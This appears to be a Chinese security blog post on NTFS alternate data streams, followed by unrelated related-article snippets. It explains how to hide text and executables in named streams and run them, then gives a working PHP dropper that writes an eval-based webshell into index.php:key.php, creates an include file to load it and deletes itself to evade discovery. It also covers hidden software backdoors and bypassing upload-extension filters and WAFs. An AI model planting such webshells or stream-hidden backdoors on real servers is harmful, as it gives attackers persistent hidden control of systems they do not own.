文件寄生——寻找宿主的不归路(NTFS文件流实际应用)
咱们今天来研究下NTFS文件流:
NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其他命名的文件流,windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序
NTFS文件流生成步骤:
1.我们在任意一个NTFS分区下打开CMD命令提示符,输入echo mstlab>>mst.txt:test.txt,则在当前目录下会生成一个名为mst.txt的文件,但文件的大小为0字节,打开后也无任何内容。

只有输入命令:notepad mst.txt:test.txt 才能看见写入的mstlab

2.在上边的命令中,mst.txt可以不存在,也可以是某个已存的文件,文件格式无所谓,无论是.txt还是.jpg|.exe|.asp都行b.txt也可以任意指定文件名以及后缀名。(可以将任意文本信息隐藏于任意文件中,只要不泄露冒号后的虚拟文件名(即test.txt),别人是根本不会查看到隐藏信息的)。
3.包含隐藏信息的文件仍然可以继续隐藏其它的内容,对比上例,我们仍然可以使用命令echo mstlab1>>mst.txt:test1.txt 给mst.txt建立新的隐藏信息的流文件,使用命令notepad mst.txt:test1.txt 打开后会发现mstlab1这段信息,而mstlab仍然存在于mst.txt:test.txt中丝毫不受影响。

所以这里的宿主mst.txt成功的被test.txt和test1.txt所寄生,而在这里的微妙关系显而易见,宿主消失寄生消失
NTFS特性和原理分析:
特性1:
实验工具下载:https://github.com/wangyongxina/filestreams/blob/master/Release/Release.7z
工具使用说明:
create 创建文件流
enum 列举文件流
delete 删除文件流
write 写入内容到文件流
append 增加文件到文件流
launch 执行文件流的内容
dump 读取文件流的内容
我们让上一步骤归零,重新来看看mst.txt:

而这里的default文件流就验证了最开头的一句话,默认使用的是为命名的文件流。
实验开始,首先我们使用FileStreams.exe创建一个文件流vkey:
FileStreams.exe create mst.txt vkey

然后写入内容到文件流vkey
FileStreams.exe create mst.txt vkey content

再来查看文件流vkey的内容
FileStreams.exe dump mst.txt vkey 14
这里的14从何而来,相信聪明的你们能明白。(文件流vkey大小 14)

那么最开始也说了,文件流是可以用来启动程序的,我们来试试:
1.加入文件到文件流vkey:
FileStreams.exe append mst.txt vkey C:\Users\gh0stkey\Desktop\test\FileStreams.exe

2.查看文件流vkey的内容,这里就看前100个字节的内容:
FileStreams.exe dump mst.txt vkey 100

3.执行文件流vkey:

顺利的执行了C:\Users\gh0stkey\Desktop\test\FileStreams.exe 这个文件。
特性2
自动创建空文件:

自动创建宿主,然后寄生。
在没有原文件的情况下创建文件流,会自动创建一个空文件。
原理分析:
好,现在我们以及初步了解了文件流的特性。再来看看NTFS文件流实现原理:
如文件大小,文件创建时间,文件修改时间,文件名,文件内容等被组织成属性来存放,NTFS定义了一序列的文件属性:

详细说明可以搜索NTFS3G,这些属性统一组织在NTFS的MFT(Master
File
Table)上,每个MFT大小1024个字节,MFT的$DATA属性即是前面提到的文件流,通常来说包含多个不同名字的$DATA属性即说明该文件存在多个文件流,下图是winhex打开1.txt定位到1.txt的MFT,我们实际看一下NTFS是如何组织的:

可以看到文件流test2的数据是直接存放在MFT上,因为test2的数据小,而testExe的数据则没有明显看出来,因为testExe数据比较大,MFT里面存放的是簇信息。
渗透中的利用:
Webshell后门隐藏:
<?php
exec('echo "<?php @eval($_POST[key]);?>">>index.php:key.php');
$key = <<<key
echo "<?php include 'index.php:key.php';?>">>a.php
key;
exec($key);
$url = $_SERVER['PHP_SELF'];
$filename= substr($url,strrpos($url,'/')+1);
@unlink($filename);
?>

为什么这样写?首先我们知道网站的默认首页是index.php,所以我们使用了第一段代码:
exec('echo "<?php @eval($_POST[key]);?>">>index.php:key.php');
直接写一个一句话内容到key.php这个文件流中。
其次,文件流是不可能直接执行的,但是PHP可以使用包含函数,所以就产生了第二段代码:
$key = <<<key
echo "<?php include 'index.php:key.php';?>">>a.php
key;
exec($key);
最后,为了不被发现要删除本身文件,就出来了代码:
$url = $_SERVER['PHP_SELF'];
$filename= substr($url,strrpos($url,'/')+1);
@unlink($filename);
软件后门隐藏:
使用特性1写一段代码后台自动运行这个文件流即可。
ByPass WAF:
测试了下一些WAF还是可以绕过的。
较为鸡肋:

需要有一个文件包含才行。
当然一些局限性的限制寄生虫可以拿到主权:
利用下面的默认流替换特性上传文件名为1.php:的文件,绕过后缀名限制即可。
当然你也可以做一个持续性webshell后门,然后使用include包含起来即可利用:

默认流替换:
默认流也就是宿主自身的,这里完全可以吞噬宿主,成为宿主。
这个方法算是打破常规的认识了,很有意思。

如上图,我们直接执行echo xxxx>>1.txt:
即可替换默认流:

当然如果宿主不存在,将会创建宿主并且吞噬宿主,从而成为宿主。
此方法笔者在一次局限性的命令执行中完美运用上了。
总结:
原文件=宿主,文件流=寄生虫。各位朋友根据根据这篇文章的基础继续深入研究,把文件流应用于各种操作之中,造出"猥琐"流。
文件寄生——寻找宿主的不归路(NTFS文件流实际应用)的更多相关文章
- Linux学习之路—Linux文件与目录管理
该内容来自鸟哥私房菜 1.目录的相关操作 1.1 特殊的目录 . 代表此层目录 .. 代表上一层目录 - 代表前一个工作目录 ~ 代表"目前用户身份"所在的主文件夹 ~acco ...
- centos 6.5 服务器安装 (LNMP ntfs文件支持 PHP-RPM CHROOT沙盒)
centos 6.5 最小化安装 进入系统 手动开启网卡 #ifconfig eth0 //(默认会自动获得ip) 修改网站配置文件,默认开启 #cd /etc/sysconfig/ne ...
- docker中,将容器中的文件拷贝到宿主机上
需求说明: 今天在做docker修改配置文件的问题,一个容器要使用另外容器的一个配置文件,但是在宿主机上没有, 就考虑将容器中的文件拷贝到宿主机上,在此记录下操作过程. 操作过程: 1.通过docke ...
- Scala进阶之路-I/O流操作之文件处理
Scala进阶之路-I/O流操作之文件处理 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 说起Scala语言操作文件对象其实是很简单的,大部分代码和Java相同. 一.使用Scal ...
- 分区恢复和NTFS文件恢复试验
一.实验室名称:主楼实验室A2-412 二.实验项目名称:分区恢复和NTFS文件恢复试验 三.实验学时:6学时 四.实验原理: 借助fdisk.diskgen软件对磁 ...
- Python之路Python文件操作
Python之路Python文件操作 一.文件的操作 文件句柄 = open('文件路径+文件名', '模式') 例子 f = open("test.txt","r&qu ...
- docker 宿主机与容器直接文件移动命令
1.将容器中的文件复制到宿主机 我们把容器中的 nginx 目录整个复制到 宿主机/usr/local/nginx 目录下,使用如下命令: docker cp nginx_test: /etc/ng ...
- SublimeCodeIntel 所有代码提示和补全插件 All Autocomplete 插件搜索所有打开的文件来寻找匹配的提示词
SublimeCodeIntelSublimeCodeIntel 作为一个代码提示和补全插件,支持 JavaScript.Mason.XBL.XUL.RHTML.SCSS.Python.HTML.Ru ...
- Python高效率遍历文件夹寻找重复文件
前言 为什么要写这篇文章呢...主要还是业务中有个需求,遍历一个将近200w数据的文件夹,大部分还都是视频文件那种,但是这玩意用的次数还不多,做文件夹index也不是很ok,所以写了一个脚本来处理这个 ...
随机推荐
- BP神经网络的数学常识
输入数据X1-Xn. 输入层和隐层之间的权Wji 隐层的输入数据为:∑iwjixi 隐层的输出数据为:yj = f(∑iwjixi).其中f(x)= 隐层的输入数据为:∑jwkjyj 隐层的输出数据为 ...
- 3、iOS Xcode创建protocol(代理).h文件
- 菜品识别 API调用
#get_access_token.py #获取access_token 1 import requests def GetToken(API_KEY,SECRET_KEY): url = 'http ...
- 实现1sym转换成2个sym送给CVI(VGA数据)
CVI的时序如下 :de指示数据有效. 从下面的程序看,同步码的长度不会影响对有效数据的判断.同步码的作用更多的是用于计算行及一行的像素数目.方案一: 1 module vga_1sym_2_2sym ...
- error C2143: syntax error : missing ';' before 'type'
许久之前,就想看看C和C++,看看这两种神奇的编程语言,但是一直被这样或者那样的琐事给耽搁了(狂喷自己的拖延症). 今天翻开自己的移动硬盘找到一本古老的书籍:<The C Programming ...
- 阿里云oss怎么上传文件夹
最近公司在做工程项目,实现文件夹云存储上传 网上找了很久,发现很多项目都存在一些问题,但还是让我找到了一个成熟的项目. 工程: 对项目的文件夹云存储上传功能做出分析,找出文件夹上传的原理,对文件夹的云 ...
- 如何比较两个xml 的异同
http://www.xmlunit.org/ <dependency> <groupId>org.xmlunit</groupId> <ar ...
- 7-12 How Long Does It Take
Given the relations of all the activities of a project, you are supposed to find the earliest comple ...
- C#-VS程序集
程序集即代码组,可以是单个文件或多个文件,按一个整体部署,但可指定自身调用其他程序集的版本. 推出原因 为解决dll地狱而推出,也可解决其他问题.dll地狱,a应用使用dll版本1,b应用使用dll版 ...
- python迭代器实例
1. 迭代器 迭代器是访问集合元素的一种方式.迭代器对象从集合的第一个元素开始访问,知道所有的元素被访问完结束.迭代器只能往前不会后退,不过这也没什么,因为人们很少在迭代途中往后退. 1.1 使用迭代 ...